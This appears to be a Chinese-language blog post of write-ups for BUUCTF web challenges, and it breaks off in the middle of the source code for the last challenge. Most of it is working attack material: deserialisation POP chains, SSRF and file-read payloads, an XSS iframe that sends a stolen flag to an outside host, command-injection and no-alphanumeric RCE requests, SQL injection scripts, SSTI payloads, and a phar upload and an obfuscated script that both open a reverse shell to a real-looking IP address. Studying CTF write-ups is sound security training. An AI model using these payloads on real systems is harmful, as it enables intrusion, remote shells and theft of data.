July 2, 2023

BUUCTF Web Writeup 7

向着第七板块

[MRCTF2020]Ezpop_Revenge

考点:Soap反序列化,代码审计
首先是www.zip泄露
遇到代码审计的题我强烈建议打开PHPSTORM或者是IDEA,否则你就等着吃瘪吧
image.png
翻了一圈发现一个可疑的插件,wakeup方法里调用了Typecho_Db的构造方法
image.png
进行了字符串拼贴,全局搜索toString方法,发现了三个
image.png
看看Db_Query的构造方法:
image.png
如果Action是SELECT那么就调用parseSelect,结合flag.php
image.png
考虑让_adapter为一个SoapCleint对象进行SSRF,让session中保存flag
image.png
最后这里出题人给我们加上了个var_dump查看flag,那么就是构造pop了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
//www.gem-love.com
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;

public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}

class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}

function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
echo "www.gem-love.com\n";
return $newstr;
}

$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);

偷一下大佬的脚本。。。这里要做一个小处理,但其实是完全没有必要的,你为啥要先urlencode呢?你直接base64不就行了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
//www.gem-love.com
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;

public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For:127.0.0.1',
"Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
);
$this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}

class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}

$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
echo base64_encode($y1ng);

这样payload不就清爽了一半
image.png
触发点在/page_admin
image.png
image.png
打进去后换上session访问就可以看见flag
image.png

[GKCTF 2021]CheckBot

考点:XSS
但是BUU这个有问题,直接访问admin.php就出flag了。。。
image.png
image.png
admin.php页面有个id为flag的标签,然后主页让我们POST个url
image.png
也就是说我们需要将页面中的flag带出来,这里就直接用iframe进行获取就好了
实际的payload是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<body>
<iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
<script>
window.onload = function(){
/* Prepare flag */
let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
/* Export flag */
var exportFlag = new XMLHttpRequest();
exportFlag.open('get', 'https://laotun.top/~' + window.btoa(flag) + '~');
exportFlag.send();
}
</script>
</body>
</html>

[网鼎杯 2020 半决赛]BabyJS

考点:Nodejs关于url编码的tips

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
res.json({});
});

router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});


router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});

module.exports = router;

主要路由如上,其实就是通过exec执行命令,这里需要绕过空格和单引号双引号,由于保存到log里的内容,比如空格会变成%20,这样的话exec的时候就识别不了空格,所以用$IFS去绕过
不知道是因为什么原因,BUU也复现不了,我本地也有一点点问题
image.png
嗯几把转,这一题的考点实际就是关于url双重编码里的一些细节,在nodejs的url模块处理字符串的时候假如遇到http://xxxx@a,xxxx的部分就会被双重URL编码,所以直接使用[http://2130706433/debug?url=http://%2527@1;cp$IFS$9/flag$IFS$9/tmp/log;%23](http://2130706433/debug?url=http://%2527@1;cp$IFS$9/flag$IFS$9/tmp/log;%23)就行了
假如用hackbar发包的时候,可能要进行三次URL编码,用JSON格式就2次,很怪,这个可以本地调试一下,不太复杂

[极客大挑战 2020]Roamphp4-Rceme

考点:无参RCE的进阶版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
}
?>

在之前第一页写的《不准套娃》那一题里有类似的,但是这一题首先是无字母数字,那么只能取反了,而常规取反开头都是括号起手,但是这里又不让我们括号或者空白字符起手,那这里就涉及到另一种变种了比如phpinfo之前是(~%8F%97%8F%96%91%99%90)(),之后可以变成[~%8F%97%8F%96%91%99%90][!%ff],用数组的形式去绕过,!%ff表示非,那这里肯定意思就是0了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 30d2950d-a6f2-4cf9-a3a2-fccf19a7a3c6.node4.buuoj.cn:81
Content-Length: 119
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://30d2950d-a6f2-4cf9-a3a2-fccf19a7a3c6.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: cat /flll1114gggggg
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://30d2950d-a6f2-4cf9-a3a2-fccf19a7a3c6.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.691479431.1677326458; _ga_P7C4RLLHKT=GS1.1.1677326458.1.1.1677327938.0.0.0; PHPSESSID=32a7202627f2e198d3dce64ce30ddbf9
Connection: close

cmd=[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));&code=338856

最后题解包如上,这一题很恶心的地方在于那个code,每输入一次指令都要重新跑一下

1
2
3
4
5
6
<?php
for($i=0;$i<=10000000;$i++){
if(substr(md5($i),0,5)=="352a6"){
echo $i."\n";
}
}

[Zer0pts2020]phpNantokaAdmin

考点:sqlite之create注入;sqlite特性
sqlite和mysql异同点还是挺多的,这一题就涉及到一些sqlite的特性了

然后sqllite是内置一个表和字段的,sql和sqlite_master,在sql字段中包含了数据库所有表和字段的信息,和mysql的Routines一样效果,我们利用上面的特性先注出表和列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?page=create HTTP/1.1
Host: b6b5dd07-0ac7-4594-97c6-dbe595cba0df.node4.buuoj.cn:81
Content-Length: 116
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b6b5dd07-0ac7-4594-97c6-dbe595cba0df.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://b6b5dd07-0ac7-4594-97c6-dbe595cba0df.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.691479431.1677326458; _ga_P7C4RLLHKT=GS1.1.1677326458.1.1.1677327938.0.0.0; PHPSESSID=e6c63f491eceaad1574b412d2f5b6239
Connection: close

table_name=[a]+as+select+[sql]+[&columns%5B0%5D%5Bname%5D=]+from+sqlite_master;&columns%5B0%5D%5Btype%5D=2

image.png
最后注flag就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?page=create HTTP/1.1
Host: b6b5dd07-0ac7-4594-97c6-dbe595cba0df.node4.buuoj.cn:81
Content-Length: 116
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b6b5dd07-0ac7-4594-97c6-dbe595cba0df.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://b6b5dd07-0ac7-4594-97c6-dbe595cba0df.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.691479431.1677326458; _ga_P7C4RLLHKT=GS1.1.1677326458.1.1.1677327938.0.0.0; PHPSESSID=e6c63f491eceaad1574b412d2f5b6239
Connection: close

table_name=[a]+as+select+[flag_2a2d04c3]+[&columns%5B0%5D%5Bname%5D=]+from+flag_bf1811da;&columns%5B0%5D%5Btype%5D=2

[LineCTF2022]BB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);

function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>

这边其实一眼就是环境变量注入了,但是过滤了点东西,这里肯定可以八进制绕过啊。
但是貌似是没回显的,弹个shell

1
2
3
4
5
6
7
8
9
10
import re

payload = "bash -i >& /dev/tcp/114.116.119.253/7777 0>&1"
result = ""
for c in payload:
if re.match("[a-zA-Z]", c):
result += "$'\\" + str(oct(ord(c)))[2:].rjust(3, '0') + "'"
else:
result += c
print("$(" + result + ")")

image.png

[HFCTF2021 Quals]Unsetme

FATTREE

[LineCTF2022]gotm

考点:go的ssti,session伪造
不太难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
package main

import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"text/template"

"github.com/golang-jwt/jwt"
)

type Account struct {
id string
pw string
is_admin bool
secret_key string
}

type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}

type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}

type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}

var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")

func clear_account() {
acc = acc[:1]
}

func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}

func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}

func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}

func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}

func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")

if uid == "" || upw == "" {
return
}

if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)

p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}

func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}

func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {

return
}
}

func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)

http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

挺简单的逻辑,在roothandler处存在直接渲染字符串,导致ssti,那么直接使用{{.}}获取当前结构体,得到key,然后伪造session访问flag就好
image.png

[BSidesCF 2019]Sequel

考点:sqlite注入
首先爆破得到guest/guest
然后cookie注入。
这里有一些sqlite的语法,比如exists就相当于if,用于盲注的。
https://syunaht.com/p/3809605982.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import base64
import string
import time

url = "http://47c7b5f6-e22f-45cc-8692-5d463aa71cc1.node4.buuoj.cn:81/sequels"
flag = ''
for x in range(1, 10):
print(x)
for n in range(1, 40):
for i in string.printable:
time.sleep(0.1)
tmp = flag + i
u = r'\" or (substr((select password from userinfo limit {},1),{},1)=\"{}\") or \"'.format(
x, n, i)
u = r'\" or (substr((select username from userinfo limit {},1),{},1)=\"{}\") or \"'.format(
x, n, i)
payload = '{"username":"%s","password":"guest"}' % u
# print(payload)
cookies = {"1337_AUTH": base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
res = requests.get(url, cookies=cookies)
if "Movie" in res.text:
flag = tmp
print(flag)
break

得到用户名密码sequeladmin/f5ec3af19f0d3679e7d5a148f4ac323d

[FireshellCTF2020]ScreenShooter

一个会拍下你输入url的照片的网站,监测
image.png
发现了PhantomJS/2.1.1,检索有关信息发现一个CVE
hantomJS 2.1.1是有任意文件读取漏洞的,CVE-2019-17221
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<title>Anionck</title>
</head>
<body>
<script>
flag=new XMLHttpRequest;
flag.onload=function(){
document.write(this.responseText)
};
flag.open("GET","file:///flag");
flag.send();
</script>
</body>
</html>

放到你vps下即可
image.png

[HMGCTF2022]Smarty Calculator

考点:smarty ssti
www.zip泄露。没什么别的东西
image.png
版本是3.1.39,寻找poc。
https://xz.aliyun.com/t/11108#toc-7
image.png
eval:{math equation='("\163\171\163\164\145\155")("\143\141\164\40\57\146\154\141\147")'}
image.png
直接梭哈了

[CISCN2019 总决赛 Day1 Web3]Flask Message Board

考点:SSTI、Sesssion伪造
说实话没啥意思其实,首先ssti伪造session,然后读取源码
model_init.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import tensorflow as tf

x = tf.placeholder(tf.int32, name="x")
w = tf.Variable(1, dtype=tf.int32, name='w')
b = tf.Variable("You are: ")
c = tf.constant(2, dtype=tf.int32, name='odd')


def flag():
flag_string = tf.read_file('/flag', name='getflag')
return flag_string


def even():
def fail():
return tf.constant('Bot')

ans = tf.cond(tf.equal(x, 1024), flag, fail, name='flag')

return ans


def odd():
return tf.constant('Human')


first = tf.mod(x, c)
ans = tf.cond(tf.equal(first, 0), even, odd, name="Answer")
y = tf.string_join([b, ans], name='y')
saver = tf.train.Saver()
sess = tf.Session()
sess.run(tf.global_variables_initializer())
# y_out = sess.run(y, {'x:0': 1028})

# print(y_out)
saver.save(sess, 'detection_model/detection')

发现需要让content的大小为1024

1
2
3
def check_bot(input_str):
r = predict(sess, sum(map(ord, input_str)))
return r if isinstance(r, str) else r.decode()

ReadFile节点 8. 因此我们可以构造一个总和1024的字符串,读取出flag(比如aaaaaabxCZC)。ascii码加起来刚好是1024
image.png

[FireshellCTF2020]URL TO PDF

考点:weasyprint的ssrf
功能是访问URL并且转换页面为pdf,我们看一下他的UA
image.png
得到weasyprint的指纹,搜索有关漏洞,发现都是ssrf
只需要给一个exp如下

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///flag">
</body>
</html>

然后得到pdf,pdf是空白的,但是用binwalk分离可以看到flag
image.png

[网鼎杯 2020 总决赛]Game Exp

考点:phar反序列化,代码审计
挺好玩的,首先需要定位漏洞点,一眼就是register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}

if (isset($_POST['username'])){
include_once "../sqlhelper.php";
include_once "../user.php";
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$mysql = new sqlhelper();
$password = md5($password);
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
$filename = $username.".".$extension;
if (file_exists($filename))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
$sql = "INSERT INTO user (username, password,avatar ) VALUES ('$username','$password','$filename')";
$res = $mysql->execute_dml($sql);
if ($res){
echo "<script>alert('注册成功');window.location='index.php';</script>";
}else{
echo "<script>alert('注册失败');</script>";

}
}

}
else
{
echo "<script>alert('非法文件');</script>";

}

}

这一眼就是phar反序列化,我们需要注册两次,第一次在login目录生成一个phar文件,第二遍就是直接rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class AnyClass{
public $output = 'system("bash -c \'bash -i >& /dev/tcp/114.116.119.253/7777 <&1\'");';
}
$o=new AnyClass;
$filename = 'avatar.gif';
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

先生成这个phar文件,然后改后缀为gif,然后注册第二次,用户名为phar:///var/www/html/login/boo即可获取shell
image.png

[HFCTF 2021 Final]hatenum

考点:exp报错盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}

}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}

}
}

function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import time

import requests
import string
url = "http://98a4917c-c950-4808-b829-6e7b7491fe78.node4.buuoj.cn:81/"
all_chr = string.ascii_letters + string.digits + "$"
# /union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i
# select * from users where username='$username' and password='$password'
def gethex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2, '0')
return ret

end = ""
a="^"# 匹配前面部分
#a="$"# 匹配后面部分
for i in range(24):
for ch in all_chr:
# .replace(' ', chr(0x0b))或.replace(' ', chr(0x0c))都行
# 匹配前面部分
payload = f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(a + ch)}))#".replace(' ', chr(0x0b))
# 匹配后面部分
# payload = f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(ch + a)}))#".replace(' ', chr(0x0b))

data = {"username": "\\", "password": payload, "code": ""}
print(payload)
req = requests.post(url + "/login.php", data=data, allow_redirects=False)
print(req.text)
time.sleep(0.1)
if 'fail' in req.text:
end += ch
print(a+ch, end)
if len(a) == 3:
a = a[1:] + ch
else:
a += ch
break

data = {
"username": "\\",
"password": "||1#",
"code": "erghruigh2uygh23uiu32ig"
}

req = requests.post(url + "/login.php", data=data)

print(req.text)

这一题巧妙的运用了十六进制和exp函数的报错来进行二元差判断,但是我无法复现,可能是环境有问题吧,或者是mysql更新了。
image.png
会报这个错,导致一直都是error。实测like可以,但是假如用like的话就很麻烦咯因为没有顺序可言

[网鼎杯 2020 总决赛]Novel

考点:代码审计,${}优先级
其实代码审计起来不难,只是有些东西不知道,又学到个新的tricks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
class back{
public $filename;
public $method;
public $dest;

function __construct($config){
$this->filename=$config['filename'];
$this->method=$config['method'];
$this->dest=$config['dest'];
// var_dump($config);
if(in_array($this->method, array('backup'))){
$this->{$this->method}($this->filename, $this->dest);
}else{
header('Location: /');
}
}

public function backup($filename, $dest){
$filename='profile/'.$filename;
if(file_exists($filename)){
$content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES);
$password=$this->random_code();
$r['path']=$this->_write($dest, $this->_create($password, $content));
$r['password']=$password;
echo json_encode($r);
}
}

/* 先验证保证为备份文件后,再保存为私藏文件 */
private function _write($dest, $content){
$f1=$dest;
$f2='private/'.$this->random_code(10).".php";

$stream_f1 = fopen($f1, 'w+');

fwrite($stream_f1, $content);
rewind($stream_f1);
$f1_read=fread($stream_f1, 3000);

preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);

if(!empty($matches[0])){
copy($f1,$f2);
fclose($stream_f1);
return $f2;
}else{
fwrite($stream_f1, '<?php exit(); ?>');
fclose($stream_f1);
return false;
}

}

private function _create($password, $content){
$_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';
return $_content;
}

private function random_code($length = 8,$chars = null){
if(empty($chars)){
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
}
$count = strlen($chars) - 1;
$code = '';
while( strlen($code) < $length){
$code .= substr($chars,rand(0,$count),1);
}
return $code;
}
}

这里是处理备份文件的部分,这里会copy我们上传的txt文本的内容,然后设定一个密码
image.png
最后以如上形式去访问,我们需要做的是逃逸<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';这一段代码,这里只需要让content为${system($_GET[1])}就可以了,因为${}表示最高优先级,优先执行。
最后上马就行啦。

[De1CTF 2019]ShellShellShell

考点:SoapClient反序列化SSRF,mysql insert注入,代码审计,文件上传unlink绕过。。
总而言之就是一个究极大套题,不太想写,看看WP差不多了
https://blog.csdn.net/qq_43756333/article/details/107386403
没想到赵总也会出这种题。。。。早期赵总黑历史吧

[2021祥云杯]cralwer_z

考点:Zombie RCE、代码审计
主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
const express = require('express');
const crypto = require('crypto');
const createError = require('http-errors');
const { Op } = require('sequelize');
const { User, Token } = require('../database');
const utils = require('../utils');
const Crawler = require('../crawler');

const router = express.Router();


router.get('/', async (req, res) => {
const user = await User.findByPk(req.session.userId)
return res.render('index', { username: user.username });
});


router.get('/profile', async (req, res) => {
const user = await User.findByPk(req.session.userId);
return res.render('user', { user });
});


router.post('/profile', async (req, res, next) => {
let { affiliation, age, bucket } = req.body;
const user = await User.findByPk(req.session.userId);
if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
return res.render('user', { user, error: "Parameters error or blank." });
}
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
where: { userId: req.session.userId }
});
